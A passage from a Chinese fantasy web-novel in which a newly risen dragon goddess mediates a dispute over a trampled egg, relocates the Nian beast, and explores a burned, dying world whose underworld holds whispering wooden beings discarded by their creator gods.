颜辞云镇定擦了擦汗，又继续问道：“去年的时候，你是不是往这边来过？” 颜辞云并不惧怕这样直白地将问题抛出来。 因为如今地她已经掌握了足够的力量，根本不需要谨小慎微、一句话在肚子里琢磨三遍。 她只需要追寻自己想要的答案就好。 真正会为了一句话反复思量的，是那些听到她问题的人。 果然，在听到颜辞云的提问后，哪怕是心眼并不算复杂的巨鸟，都仔细想了两遍后，才小心回答。 【天神大人难道是指去年我和刑罚使的那场争斗？请听我说，天神大人，那一切都是有原因的！自从上一位天神大人死去后，这位刑罚使就堕落了，一天天的到处惹是生非，那次甚至跑去我家里，偷走了我刚捕获的猎物！】 巨鸟越呱越委屈。 【虽然我不明白这样堕落的刑罚使为什么您还要继续用它，但我可以保证，我去年飞过来揍它的时候绝对不包含半点私心！那都是它应得的！】 颜辞云：“……” 颜辞云揉了揉眉心，突然明白了许多许多的事。 比如说为什么一年半前，颜辞云分明看到了巨兽战场，却只看到了其中一方的巨鸟展翅远去的背影，而迟迟没有找到另一方的踪迹； 又比如说某只小猫咪为什么能一边神出鬼没，连颜辞云都不太能捕捉到它的踪迹，又一边对各种大场面冷静以待，视若无睹，该吃吃该喝喝。 还比如说颜辞云这回在跟巨鸟离开前嘱咐小猫咪好好看家时，它为什么不闹腾也不打滚了，就低头一个劲儿地舔毛…… 好啊，好啊！ 你这个浓眉大眼的小猫咪，果然就是一肚子坏水！ 明明都是上一代的刑罚使，结果天天在她面前装柔弱装无辜，抱着她的大腿蹭吃蹭喝还不要脸地叫妈，你可真是…… 等她回去就罚你这只坏猫吃素三天！ 颜辞云作为偷鸡摸狗的坏猫的家长，没好意思继续这个话题，只能装作若无其事的样子，问起了大地上的情况。 然而，这只巨鸟知道的也并不多，因为大部分时间里，它都是和伴侣一块儿，老老实实待在北边大陆，和族鸟们各守各的地盘，轻易不挪动。因此，它也只了解自己身边的情况，对于远方的信息，大多来自上一辈的传承，和路过飞鸟们的道听途说。 但，即便是这样的“道听途说”，也极大拓展了颜辞云的信息库。 比如说，颜辞云了解到，在大海的极东之地，有叫一块棘林的陆地，那里有一片肥沃的桑野，有麒麟在那里聚族而居。 又比如说在比巨鸟所在陆地更北的陆地，是一片叫做积冰的地方。那边的海水因温度极寒，而被称作寒泽，水下有非常凶恶的鲛人出没。 还比如说颜辞云所在金丘的南方，那片焦土被称作焦侥，虽然看似没有生命的存在，实则内部有大片沃野，生活着许多火鸟。传说，它们是上一位天神应龙的后代之一。 甚至就连那座颜辞云自穿越以来就能看到，却因为遥远而无法抵达的雷山，都在巨鸟口中有了名字—— 西极之山，又名阊阖之门。 传说中的天神应龙，就是从这道门现身人间的，所以许多大地上的巨兽们也认为，这道门可以通往神灵之所，只不过迄今为止都没有兽能抵达就是了。 而且，最开始的西极之山也并不是像现在这样，一到秋季就雷云盘绕，看起来极吓人的。 那里最开始只有云，没有雷，就像是仙境一样，美丽极了。 直到应龙死去后，那里才变得阴森可怕起来，甚至还有了巨大的雷云拱卫。 【不过既然天神大人您将四季拨回正轨，想来秋天西极之山的雷云也会消失不见吧……看来那群想要探索阊阖之门的家伙，又要来打扰了。】 随着巨鸟这句随口的嘀咕，颜辞云一愣，突然意识到一件事，那就是： 假若事情真的如巨鸟说的那样，这广袤的大地上、遥远的海外，还有许多聚族而居、曾经背刺过应龙的异兽的话，那么随着颜辞云吞噬应龙、拿走应龙的神力，这些家伙也必然会闻着味找上门来，想要想推倒应龙那样，把她也彻底杀死！ 这一刻，本来过得悠哉游哉的颜辞云，心中生出了强烈的紧迫感。 那些巨兽之所以没有到来，是因为她所在的位置够偏，所间隔的距离够远。 但，再远的距离也总有被跨越的一天。 或许是一年后，或许是十年后，无论如何，它们一定会来。 所以，颜辞云一定要在它们到来前想好应对的办法。 颜辞云其实不怕单打独斗。 事实上，在一口气吹走庞然可怕的年兽，又一张嘴吞下水火两炁后，颜辞云就已经客观认识到，如今能在单打独斗上胜过她的异兽恐怕已经很少很少。 可是，谁说异兽就只会单打独斗了？ 全盛时期的应龙，不就死于众多异兽的围攻之下吗？ 就连那种天生就擅长打斗——至少比她擅长打斗——的应龙，都会死于围攻，更何况是她这样的“生活系玩家”？ 所以，不管怎么想，她当前的第一要务，都是继续堆战力！ 唯有把自己的等级堆得无限高、堆到打破天花板，堆成世上唯一的lv999，才不会害怕被一群99级的小卡拉米的围攻。 颜辞云思考着，暗自做下决定：等搞定这次的年兽偷蛋事件，就再次探索“新大陆”，获取更多技能点吧！ 至少，要把【改造】这个好用的屠夫必杀技给堆满。 【吞噬】的吞天食地技能固然超模，一条应龙都是说吞就吞，可它发动的前摇有点长。 异兽们又不是死的，怎么会站在原地等她吃？ 怎么想都是一发动就把生物活活肢解的【改造】更适合战斗。 在心中转过一个又一个的念头。 很快的，巨鸟居住的大陆到了。 这块大陆名为一目，最南边是颜辞云曾经遥望过的沙漠，往北则是大片大片的戈壁、石原、荒山、隧洞，等。 反正都是死寂而不适合生命生存的地方，并且温度相对普通地方要高上许多。 但是当扈——也就是颜辞云面前这只巨鸟的真正名字，颜辞云是以音译的，不知晓真正的意思——它们一族却喜欢居住在这样的地方，因为它们其实是食腐动物。 颜辞云：懂了，巨型秃鹫。 而既然是“秃鹫”，那就是下蛋的；既然是蛋，就会有被偷走的可能。 比如说上个月踩着飓风冲到这片大陆的巨大犬型动物，年兽。 事实上，在年兽偷蛋前，这群原住鸟其实是对它敬而远之的，毕竟它的登场方式太过拉风，一般鸟不愿意惹。 可后来，这群当扈们观察发现，这“大狗”想要“携风雨雷电而击”似乎是需要什么特定条件的，而它目前是无法满足这个条件的，于是当地鸟们决定，在“大狗”找回自己“掌控风雷的力量”前把它赶走，维护这片大陆的平静。 它们成功了！ 没有风雷护身的“大狗”，就单纯是一个皮糙肉厚的大型狗子，怎么比得过飞行单位、特别是一群飞行单位的攻击？ 可它们也失败了。 因为这狗子前脚被当地鸟们赶走了，后脚却又狡诈地来了个迂回战术，把颜辞云面前这只当扈的家给偷了，就连这只当扈盼了许久才得来的鸟蛋，都被这可恶的狗子踩了个稀巴烂！ 这哪知鸟能忍？ 于是，这只当扈心一横，飞过来跟颜辞云这位新上任的天神告状了。 要么，颜辞云出手管教那只狗子，给当地鸟们一个满意的结果，要么，这些当地鸟就自己上去大战三百回合了。 而至于这群巨兽互殴起来会给一目的地形造成什么影响……反正它们是给“天神大人”报备过的了！ 一旁的颜辞云听着，也是十分的心虚，就差跟小白一样低头舔毛了。 颜辞云万万没想到，她随手丢掉的年兽，竟然会在一目这边引起这么大的骚乱。 可话又说回来，会引发这样的事，这群排外的当地鸟们也不是一点错都没有的。 颜辞云深知，年兽那只蠢狗一点脑子都没有，哪怕是被人打了，也会在短时间内迅速遗忘，回归漫无目的茫然游荡的状态。 所以一般来说，只要不率先对年兽下手，它就是一颗会走路的树。 可偏偏，这群当地鸟一劲儿围殴年兽，誓要将它驱逐，结果反倒赶错了方向，让年兽绕了个弯又回来了。 没错，年兽的“偷家”行动，绝不可能是因为年兽狡诈，学会了攻敌不备这样的高明手法，而只能是年兽被当扈驱逐的时候走岔了路，绕了一大圈后又回来了。 所以，当颜辞云来到受害鸟巢穴，查探了附近线索，确定了年兽就是“绕错路”后，就将这一结果告知了受害鸟。 受害鸟显然对这件事没什么自省的意思。 【难道它走错了路，就能理直气壮破坏我的家吗？】 【是它闯入了我们的领地，而我们每个鸟都在驱逐它这件事上出了力，凭什么就只有我在倒霉？！！】 其它围观的当扈们也纷纷发出不满的声音，呱呱不停。 【就是，我们才没错！明明就是那只坏狗的错！】 【它踩碎了我们族群的蛋，它要赔！要用命赔！】 【刚刚那一堆话说的什么？听不懂，反正是狗的错！】 颜辞云也知道，对头脑简单的异兽来说，这个理由不可能让它们满意，更不可能让受害鸟不追究。 其实说实话，这件事就是一团烂账，每个人都有错，每个人都没错。 而想要将这件事顺利解决，只有一个办法—— 颜辞云伸手让这只受害鸟稍安勿躁，目光凝视地面上被踩碎的蛋壳和蛋液，蓦地发动了【改造】的能力，选中地上这团凄惨的碎蛋，捏在手里，随手一搓就是一个圆。 是的，颜辞云暂时捏不出惟妙惟肖、毛发分明的小动物。 但区区鸟蛋而已，她难道还搓不出来么？ 于是，就这样。 上一秒，受害鸟的巢穴里还满是凄凉的蛋壳与蛋液，但下一秒，一切恢复如初，一只巨大的蛋搁在鸟窝里，满身霞光，岁月静好。 颜辞云说：“这样总可以了吧？接下来我会把年兽带走，这件事就到此为止，怎么样？” 一群刚刚还呱呱不停的当扈们，此刻都像是被按下了暂停键，愣愣地看着面前像是被回溯了时间的鸟巢，一脸茫然，久久回不过神来。 颜辞云没等到回答，便当它们是默认了这个处理方式，离开鸟巢，抖开八方神火鞭，捆住戈壁滩上徘徊的年兽，把这蠢狗提起，就要离开一目。 不过，离开前，一只看起来像族群首领的当扈叫住了颜辞云，尊敬地在颜辞云面前低下头，将口中衔着的一根枝条轻轻放在了颜辞云掌心。 颜辞云在疑惑瞬间后，立即明白这应该就是调停异兽间矛盾后的报酬，类似居委会派出所收到的锦旗什么的，于是她也不推辞，坦然接下，定睛一看。 【七彩梧桐：七彩兼具的梧桐木，可以此为材料，建设凤凰台。】 凤凰台，这正是颜辞云想要在树屋上建设的琴室的名字。 原来，这一切竟然在这里等着吗？ 颜辞云看着手上的这根泛着异彩的枝条，不知道为什么，突然轻笑起来，感觉自己如今所做的事，就像是……某个付出努力和善意就一定会得到回报的……游戏小任务？ 这一刻，颜辞云在轻笑间蓦然觉得，和其它的智慧生命打交道、去调停它们之间的矛盾这件事，好像也没有她最初想的那么无聊无趣，惹人厌烦。 “我明白了。” 颜辞云收起这根七彩梧桐枝，向当扈首领轻轻颔首。 “那么，日后再见。” 颜辞云提起了年兽，一路向南。 第80章 新世界-死地 “看什么看？…… 颜辞云有考虑过到底是把年兽丢在自己居住的金丘，还是丢在栽种了世界树的弇州的。 把年兽放在金丘的好处是，这狗子就在自己的眼皮底下，不可能再折腾出大的风浪来，也不会再发生和原住民互殴、波及周边无辜小动物的事。 可坏处是，作为“原住民”的颜辞云自己，其实是不太想看到这只又蠢又傻的大狗的。 这大狗体型庞大，很容易把当地脆弱的地形和脆弱的生态踩坏了，而且不知道为何，这大狗莫名对颜辞云居住的树屋十分执着，老是想着往建木的方向跑。 这可不行！ 在建木所在的青丘附近，不是农田就是畜棚，再不就是摆了各种工匠制造机的小屋与平台，都是精细东西，哪里禁得起狗子的撒欢？ 所以颜辞云本心不太想把这只大狗留在金丘。 可要放在弇州吧，也不合适。 弇州是异世界毁灭重启后，颜辞云为了方便管理和推进当地时间，而合并到本土的地点，它如今最需要的就是休养生息的时间，因为初生的弇州地形与生态圈，比起本世界的八洲八山更为脆弱。 颜辞云既然接管了这个世界，就不会有歧视“外地”的想法，不会把舍不得祸害本地的狗子扔去祸害“外地”。 可既然这里不适合那里也不适合……这么大一只狗子，到底能扔哪儿去呢？ 杀了？ 颜辞云确实有考虑过这个诱人想法，但她还是很快放弃了。 毕竟，现在的颜辞云已经什么都不缺了，哪怕是吃肉，获取方向也从向自然获取变成了向农场建筑获取。 所以一般情况下，颜辞云是不想给这个世界的自然链条增添更多负担的——兔子除外，兔子增殖太快，不杀它们才是给自然增添负担。 那么，按照这样的道理，颜辞云其实也不该杀年兽。 一是因为不会有任何人从这场杀戮中获利，二是因为年兽也是自然链的一环，只要将它放在合适的位置就好了。 可就是说——放哪儿才叫合适位置？ 颜辞云思来想去，最后还是决定暂时把狗子丢去石原。 那里的北面是相繇的毒水沼泽国，南面则是占据了岩浆池的三头犬。这二者比之年兽，虽有地形之利，可后者有体型优势呀！ 到时候三只巨兽互殴起来，不是，是相互制衡起来，一定是势均力敌的吧？而当麻烦的大型生物都抽不出手祸害地方时，大地上就一定会迎来相对的和平了吧？ 好的，就这样决定了。 假若这三凑一块儿真的过不下去，大不了日后等颜辞云找到适合挪动的地方后再给它们搬家嘛！ 抱着这样不太负责任的念头，新上任的天神大人哐当一下把狗子丢进了石原，接着又用食指在石原与荒野的交界处轻轻一划，留下龙威，禁止大型动物通行。 说起来，当上神灵后，就是有这样的好处，什么能力都指数级放大了。 换做以前，颜辞云如果想要把年兽这样喜欢到处乱晃的大狗困在某个地区，指定是要埋头挖无数石头，再垒一条万里高万里长的长城才行，哪里能像现在这样容易？ 不过，一瞬间的自豪与自满闪过心头后，紧随而来的却是更多的忧虑： 应龙的力量的确十分强大，但哪怕是拥有这样强大神力的上一代应龙，最后都倒在了大地各族异兽的围殴中……以自己如今还不完全的应龙力量，真的能够应对接下来那些异兽的找茬吗？ 自己是不是也该找个攻守同盟……不不不，还是算了，所谓的攻守同盟哪有那么好找？ 颜辞云赶紧摇头。 她清楚知道，自己既不是长袖善舞、能让人倒头就拜的性子，也不是个适合跟人玩阴谋耍心机的料，硬要搞什么同盟不同盟的，别最后反被坑了还要给人数钱。 更何况生活玩家更喜欢依靠自己的力量。 所以—— 这两天休整一下，就出发去探索新世界吧！ · 回到树屋后，颜辞云没有忘掉某个坏蛋猫咪。 她气势汹汹地来到活动室，把小猫咪从活动室的树上提着脖子拎下，按在地面，点着它的脑袋大声教训它。 小猫咪可怜兮兮地缩着脑袋，细声细气地咪咪咪，也不开腔也不说话，就小声咪咪咪，把颜辞云弄得哭笑不得。 “想吃什么爱吃什么，跟我说就好。”颜辞云努力板着脸，让自己看起来像是个严肃的大家长，“以后再不准偷别人家的东西，知道了吗？！” 小猫咪如蒙大赦，扑进颜辞云怀里，抱着颜辞云的脖子蹭来蹭去，连咪咪声都变得格外娇气，非常讨人喜欢。 但最后的它还是被罚吃了三天素。 小白：嘤。 三天时间转瞬即逝。 颜辞云也终于决定出发了。 因有了上一次出行的打板，这次出门的颜辞云只感到轻车熟路，随手揣上资源，装好食物，带上美人绶囊和绶囊里的各个装备后，连猫都不带，便潇洒向东，飞过弇州，飞向了那片白色的迷雾。 很快的，几乎就在颜辞云一头扎入迷雾的瞬间，颜辞云就看到了雾中的“星星”。 此刻，雾中原本存在的九颗“星星”，因颜辞云移走了一颗，如今便只剩下了八颗，而这八颗里，竟有三颗星星在闪烁着。 除了颜辞云上次来时看到的那颗给她以严重枯败感的黑灰色星星之外，另外的两颗星星里，一颗充盈着漂亮的蓝，水汽充沛得几乎要满溢出来，一颗则是暴躁的紫，好似有无尽的雷云聚集。 颜辞云对新出现的两颗星星很感兴趣。 毕竟无论是充满水炁的星星也好还是充满雷炁的星星也好，都比枯败将死的星星显得更活泼有活力，是颜辞云喜欢的样子。 可意外的是，当颜辞云选中那颗蓝色的星星想要进入时，却发现自己根本无法进入，而是直接穿过了蓝色星星的虚影！ ——为什么？ 上一次来的时候……不是这样的啊…… 颜辞云困惑地盯着星星看了一会儿，突然心有所悟：是不是因为现在的自己对星星来说……太庞大了？ 上一次颜辞云来的时候，还是一条只有两百多米长的小小龙，而现在的颜辞云虽然看起来依然只有两百多米长，但那是因为她把自己的体型缩小了！ 真正的颜辞云，其实早已经变成了一个庞然巨物，就连炁总量都在这两天突破了4000单位，所以挤不进一颗小小星球，似乎也是理所当然的事。 “位格限制，外神禁入……” 莫名的，颜辞云脑袋里冒出了这样的一个词。也不知道是真的接收到了点什么，还是现代记忆结合潜意识进行的胡编乱造。 不过，词是不是胡编的不好说，意思却大致是这个意思。 颜辞云思考了一会儿，最后将目光投向那颗黑灰枯败的星球。 蓝色星球和紫色星球拒绝颜辞云，是因为它们还有未来，还有生机，所以拒绝颜辞云这个外神的插手，排斥她的闯入。 但黑灰色的星星却是真的走到了尽头、难以挽救了，就像是上个赛博修仙的世界一样，所以它一定不会—— 掉头向黑灰色星星而去但却扑了个空的颜辞云，不由得沉默了。 欸，不是。 你都这半死不活的样子了，怎么还有余力排斥她的进入？ 不过区区4000炁而已，有那么难以接受吗？！ 颜辞云在这些星星旁边绕来绕去，冥思苦想，心中发愁。 万万没想到，她在好不容易升级为神灵后，遇到的第一个问题竟然是体型太大，挤不进异世界！ 进不了异世界就触发不了新任务，触发不了新任务就拿不到技能点，拿不到技能点就提升不了战力，提升不了战力就会在日后倒在大地异兽们的围殴下，而想要避免被围殴致死的结局就必须要去异世界触发新任务，但她进不了异世界就触发不了新任务…… 死循环了这。 颜辞云离开浓雾，在附近的弇州落下，陷入沉思：有没有什么办法，能够遮掩自己的存在、屏蔽“当地神”的探查，让她成功进入小世界？ 法术吗？ 像修仙小说里那样扰乱天机、瞒天过海的法术？ 她不会这个啊！ 那……开马甲？ 这是颜辞云想到的最合适、最便捷的办法。 因为就在颜辞云身处的弇州里、世界树的下方，就有一个待机中的身份卡，也叫“神力碎片”。 而颜辞云没记错的话，这个神力碎片的力量不算高，也就100单位的炁出头。 之前60单位炁的颜辞云，在进入异世界时没有被排斥，那么这一次，100单位炁的神力碎片被排斥的可能性应该也不大。 ——试试？ 颜辞云想到这里，盘膝而坐，视角瞬间切换到了神力碎片。 下一秒，两个视角便同时出现在了颜辞云眼中，虚虚实实、影影绰绰，让颜辞云的大脑有些发晕。 颜辞云连忙让本体闭上眼，同时将本体的联系与反馈调到最低，之后，颜辞云便开着自己神力碎片的马甲，再次飞向浓雾。 果然！ 就如同颜辞云想的一样。 在换上神力碎片的马甲、压制了过量的神力后，颜辞云轻而易举地就进入了小世界里。 并且，还不是像第一次进入时那样，是灵魂出窍、附着在当地人的身体上，而是整个马甲都全须全尾地挤了进来，就连马甲身上穿着的死神外套都在！ “哇……开马甲还有这个好处？” 早知道开马甲后能把身上挂着的也带进来，她就该把本体上的神凤辟邪簪、血露香坠和瑶光扇都挂在马甲上。 毕竟本体作为一只大怪兽，像神凤辟邪簪甚至邪龙噬雷枪这种等级的装备，其实早已用不上了。 颜辞云不丢只是因为她念旧。 但如果把这些装备转移到马甲身上的话，却是刚刚好。 行，可以，就这样干——下次一定！ 懒得回头取装备的颜辞云，仗着自己此刻是无人能见的灵魂状态，直接降临到了身下这片大地的最高点：一座被烧成焦土的高山。 她站在山岭，好奇张望，想要找到这个世界的智慧族群的聚居地，或者让她直接撞上什么大事件，好触发这个世界的任务。 但不知道是不是颜辞云运气太差、选择的降落地点太烂，还是因为别的什么，哪怕颜辞云站在了极高之处、极目远眺，也只能看到大地上的一片片废墟、一块块焦土、一缕缕黑烟，一条条沟壑……好似就在不久前，这里才刚发生过一场灾难的大火。 高温。 火焰。 它们无处不在，炙烤着空气中的一切。 如果不是颜辞云此刻是灵魂状态，恐怕连作为神力碎片的她也很不好受。 “发生了什么……” 颜辞云困惑不已，轻声喃喃。 “怎么感觉这个世界好像——等等，火？？！！” 几乎就在颜辞云降临大地、喃喃自语的时刻，竟有一场野火在颜辞云眼皮底下蓦地烧了起来。 颜辞云目瞪口呆，仔仔细细地观察了这团野火，确认它的燃烧过程没有可燃物能够依凭——它竟然就是就这样凭空燃烧起来的！ 什么东西，怎么还能这样搞？ 这到底是怎么烧起来的？？ 颜辞云盯着这场野火，看了好一会儿，直到它莫名其妙地又燃尽后，这才移开目光，继续思考。 但，一分钟后，第二场野火在颜辞云不远处的空气里又烧了起来。 颜辞云：“……” 不是。 说真的。 你们到底是怎么烧起来的？！ 原地站着也思考不出什么来，颜辞云干脆选定了一个方向，一路向前。 她想要找到一个智慧生命的聚居地，好从它们口中了解这个世界到底发生了什么。 不过，颜辞云也知道这个目标可能有点儿困难，因为除了一些天生能拿火焰洗澡的生物之外，任何正常生物都是没办法在这样的环境里存活下来。 而能拿火焰洗澡的生物，一般也是需要进食的。 但这样可怕的世界里，它们又能拿什么进食？ 死局。 没有办法。 所以颜辞云更倾向于相信，这个世界上的生命其实已经完蛋了。 而接下来发生的事件，也印证了颜辞云的猜想。 颜辞云分明一路飞，一路瞧，整整36个小时都没有停下脚步，可哪怕飞了这么久这么远，她入目所见到的，始终是一片荒芜。 这大地上，真的没有半点生命存在的迹象——人也好，动物也好，植物也好，什么都没有。 只除了一片片龟裂干涸的焦土，以及一场场没有来由也没有尽头的野火。 “……难怪这颗星星从外头看起来那样惨。” 一个永恒高温，并总是毫无来由燃起野火的世界，它不毁灭谁毁灭？ 哪怕世界的生命力远远强于单个的生命体，可如果有火焰在世界地表持续燃烧、永不熄灭的话，就算是世界也很难扛得住的。 就像是一个体表大面积烧伤的人，依附他皮肤生存的细菌螨虫固然死光了，可他也讨不了好。哪怕他的内脏仍然是完好的，可后续引发的一系列严重并发症如感染、失血、器官功能衰竭以及休克等，也足以让一个人致命。 如今，唯一让颜辞云感到疑惑的，反而是另一个问题： 它为什么还活着？ 为什么颜辞云在浓雾中看到的它，是死寂萎靡、衰败“近”亡，而不是真的死亡？ 以大地焦裂的程度来看，它分明保持这样的状态已经有很长一段时间了。 所以它的“生机”，究竟是从何而来？ 颜辞云开始寻找其这个世界上能代表“生”、支撑起一个世界的“生机”的事物。 可她寻遍大地后，却依然是一无所获。 这颗星星，似乎真的在很多年前就彻底死亡了。 颜辞云困惑不已，闭上眼切换视角，把本体从弇州拉进浓雾，再次仔细观察起了这颗死寂枯败的星星。 而这一次，她终于发现了端倪。 ——地下！ 原来，苦苦支撑着这颗星星的真正“生机”，竟是从星星的深处，也就是地下传来的！ 这个世界的地下层，竟然还有另一种生命存在？！ 抱着这样的惊奇，颜辞云又将视角转到神力碎片这边。 她站在原地，思考了一下，很快发现了通往地底深处的入口——一些突兀出现在大地的巨大天坑！ 它黑黝黝的，不知道通向多么幽深的地方。 颜辞云曾经向里头投了一颗石子，却久久没有听到回音，于是也打消了下去看看的念头。 可如今看来，她早就该下去看看了！ 也是颜辞云获得力量的速度太快，短短一年半就跨越了好几个生命阶层，从普通人一跃成为掌控四季的神灵，以致于现在的她完全没有身为神秘生物的自觉，见到一些奇葩地形时的第一反应都是绕路和避险。 可——这种小小天坑，对她而言，哪里能算得上“险”？ 颜辞云默默整理了一下自己的心绪，又调整了一下自己的心态后，这才向天坑纵身跃下。 她没有化作实体，而是继续维持着生死间隙的灵魂状态，以一种稳定的速度，飘飘荡荡向下飞去。 四周一片漆黑，脚下深不见底。 而当头顶原本火红的天空也越来越远，最终被天坑遮蔽后，颜辞云彻底陷入了黑暗。 颜辞云先是一怔，而后格外意外。 因为自从她拥有蛇形后，她就再没有为夜晚的光亮感到烦恼了。 在颜辞云的世界里，她只有“看得很清楚”和“看得不是那么清楚”两个选择，而黑暗—— 黑暗已经远离她很久很久了。 直到今天。 这一刻，颜辞云莫名觉得有些奇怪。 而且，也不知道是否是错觉，在颜辞云被黑暗完全笼罩的那一瞬间，她听到了奇怪的低语在她耳畔窃窃响起。 那是非常陌生的语言，用时髦点的比方就是“古神的低语”。 可或许是因为颜辞云本就是神，所以她又一次听懂了。 【痛……好痛……碎……残渣……】 【我的头在哪里……我的脚在哪里……我的眼珠在哪里……】 【爬不起来了……为什么我化作了碎片……我爬不起来了……】 【救救我……好重啊……是什么在压着我……】 【喘不过气了……好黑……我要喘不过气了……】 不得不说的，有时候，听不懂某种语言，会比听懂更幸福。 就像是无数孩童在可怖死亡中发出的茫然低语，无论是它们懵懂幼稚的声音，还是它们所描述的痛苦，都令能够听懂它们话语的颜辞云不寒而栗，脑中描绘出了近乎地狱的景象。 在这一刻，一直向下飞去的颜辞云的身形停顿了一下，心中触动，在“继续向下、探寻地底的秘密”，“寻找声音的来源”这两个选项之间摇摆不定。 从理智上来说，颜辞云应该选择前者。 一来，这个天坑十分奇怪，竟然直接遮蔽了她的视线，令她第一次陷入了“伸手不见五指”的黑暗。 黑暗是危险的，她应该以更谨慎的姿态行事。 再者，这个世界是注定要毁灭的。 她与其耗费时间去寻找那些早已经毁灭了的东西、探寻已无法挽回的死亡真相上，还不如将时间花费在寻找有关整个世界的存续、可以挽回的真相上。 不能挽回的，就不要去理会了。 就像她在上个世界时，静静注视那个赛博修仙的文明毁灭一样。 是的，是的，按照理智来说，颜辞云当然应该这样做。 但是…… “唉。” 颜辞云叹了口气，抓了抓头，到底还是向声音的来源飘了过去。 无论如何……不管这一切能够挽回，也不论她知晓真相后是否真的要插手…… 总之，先去看看吧。 “反正，来都来了。” 颜辞云嘀咕着，向声音的方向飘荡了过去，而很快的，她感到自己似乎穿过了一层什么，略显沉重的压力下，四周原本炽烈的空气瞬间冰凉起来。 ——是水！ 颜辞云瞬间明白过来：在这个天坑的某一层里，竟然存在着一个水世界？！ 漆黑的深水中，颜辞云莫名觉得有些发毛。 她觉得，这种漆黑的、充满了未知之物的，并可能随时有什么奇怪东西无声飘到她身旁的感觉，实在过分微妙，也果然让人不安了。 哪怕此刻的颜辞云并没有真正的形体，并且身处生死的夹缝之间，既不会被危险侵害，也不会被污水浸染，所以根本不需要害怕什么。 可是……果然还是很微妙！ 颜辞云老老实实地拿出了自带微光的邪龙噬雷枪，用它来点亮黑暗。 而几乎就在颜辞云恢复视线的下一秒，一只巨大的眼珠从她身前飘过，如同活物一样，慢慢转向了她，原本涣散的瞳孔一点点紧缩，直到彻底映出颜辞云的身影。 【看到……了……】 这一瞬间，那些混乱无序的低语骤然一静。 而后，万千私语化作了同一句话： 【看到你了。】 颜辞云：“……” 颜辞云伸手一枪戳爆了眼球。 她中气十足，大喝一声：“看什么看？我看谁还敢看我！” 四周陷入一片死寂。 80-90 第81章 创造与毁灭 有神的世界，是…… 借着邪龙噬雷枪的微弱光亮，颜辞云快速扫视四周。 只见此刻，颜辞云周身围绕着的，尽是黑暗的深水，在沉重的压力下，光似乎都扭曲起来，无论如何都抵达不了远方，也照不清四周的境况。 就好像此刻的她正处于某个极深极暗的海底！ 但颜辞云却又清楚知晓，只要她后退一步，她就能脱离这片深海，重新回到“天坑”之中。 所以—— “天坑”是什么？ “深海”又是什么？ 这里是什么地方？ 刚刚飘过的那颗眼珠，还有那些絮絮的低语，它们又是什么？ 颜辞云动作果断，伸手就将身前被颗她扎爆后想要偷偷溜走的眼球一把捉回，而后像是拍狗子一样把这只眼球拍得砰砰响。 “就从你开始吧。” “老实交代，你们到底是什么东西？” 这只大眼球及大眼球不知具体在哪儿的族人们识时务极了，或者说它们根本没有“隐瞒”或“欺骗”这样的概念，因为它们族群的智商非常低下，大部分只会叙述，不懂思考。 而它们之中最聪明的比如说颜辞云面前的大眼球，拥有的也只是最基础的思考能力。 所以，在花费了一些时间后，颜辞云终于从这些古怪生物们磕磕巴巴的叙述中，拼凑出了关于这个世界的基本常识。 原来，这是一个有神灵的世界，是神灵亲手创造了世界，创造了大地、天空、海洋与生命。 但就像每一个有追求的创造者一样，他们总是精益求精的，总是想要创造出更美丽的世界、更智慧的生命、更高等的文明的。 因此，每当神灵们的小脑瓜子里冒出了新点子后，他们就会为了重启世界而降下灾难，清洗大地。 有时候，这场灾难会是洪水，有时候，这样灾难会是飓风，还有时候，这场灾难会是陨石。 直到把大地上所有的生命都驱逐，把生物们的灵魂都投入一座被无边汪洋笼罩的九层冥府后，他们就会在大地上重造生命。 比如说现在。 如今，颜辞云身处的时间点，正是神灵为了重造世界而进行的灭世大清洗活动。 而颜辞云之所以在浓雾中感受到这颗星球的气息“枯而不败”，正是因为真正支撑这个世界存在的，并非生物而是神灵。 只要神灵不死，神就可以让这颗星球无限次复苏！ 颜辞云听到这里，咋舌不已，回想自己在星球大地上看到的惨状，一边心中惊叹，觉得这些神灵的力量可真是神奇得很，连这样可怕的世界伤痕都能够修复，一边却又心中踌躇，觉得神灵们这样任性地进行一次次灭世大清洗是不是不太好。 毕竟，颜辞云也是创造过生命的。 她先是意外合成了凶兽相繇，后又亲手捏成了一只三头犬。 这两个生物无疑都是生性凶残暴虐、极不符合颜辞云心意的，可即便如此，她也不忍心直接杀了它们，只是把它们丢到石原那边圈住，不叫它们闯出去祸害其它小动物就好。 而这些神，又是怎么忍心将那样多的生命一遍遍毁灭后又一遍遍重建的呢？ 真是孩子多了不心疼吗？ “所以，这里其实是九层冥府？”颜辞云问。 【是九层冥府的第六层。】 “那你们呢？”颜辞云又问，“你们又是什么？” 【木人。】这些奇怪的生命给出了颜辞云一个意料之外的答案，【我们是第三纪被神创造出的木人。】 “……啊？” 这些玩意儿，哪里像是木人了？ 颜辞云不由得向前走了两步，但觉得前方依旧黑暗，于是她干脆切换视角，操控本体迅速回到树屋，从储物箱翻出萤石，搓出一个白玉永明灯放进物品栏。 下一秒，身处第六层冥府的分身便睁开眼，从物品栏内把白玉永明灯拿了出来。 专业的事果然还是应该让专业的来干。 只是一瞬间，那些原本怎么也看不透的黑暗、无法被驱散的幽影，被白玉永明灯一扫而空。 莹莹的辉光如月，照亮了这一层的水下冥府，也照亮了地面的一切。 而不同于颜辞云最初从听力牵动想象力描绘出来的恐怖场景，事实上，这里堆积成山的并不是“残肢断臂”，而全都是粗糙的木块。 虽然这些木块隐约能看出手脚的形状，但对于颜辞云这样的人来说，她的第一想法依然是“误闯伐木场”，而不是“误入屠宰场”。 颜辞云：“……” 呃，嗯，那个……可能对于树精类型生物来说，这个场景的确很可怕吧。 颜辞云又将目光转向大眼珠子，细细一看，这才发现这颗大眼珠子同样是木头材质。 颜辞云：难怪拿枪戳眼球的时候总感觉手感不太对，而且拍起来是砰砰响而不是啪啪响。 原来真的是“木”人啊。 颜辞云继续向这些木人打探消息。 从这些木人们口中得知，神灵们在第一纪元时创造了服务神灵们的初代奴仆，它们名为赛亚姆，也叫调停者。 这些调停者们曾经被神灵寄予厚望，是神灵们按照自己的模样一个个用泥土捏出来的，因此，每一个调停者都强大到不可思议。 它们不会饥饿，不会恐惧，不会寒冷，甚至能够上天入地，直接在天空上创建了城邦，并造出了可以飞行的小舟，试着向着比天空更高、比月亮更远的方向进发。 颜辞云：啊？这就开始探索外太空了？ 但遗憾的是，当造物主造出太阳后，这些调停者们便暴露出了它们的致命缺点：惧怕阳光。 只要调停者们暴露在太阳光下，它们就会瞬间化作石人。 神灵们对这样的调停者们感到十分恼怒，便向海洋深处投下九层冥府，并将仅存的调停者们统统驱逐到最下层的冥府内。 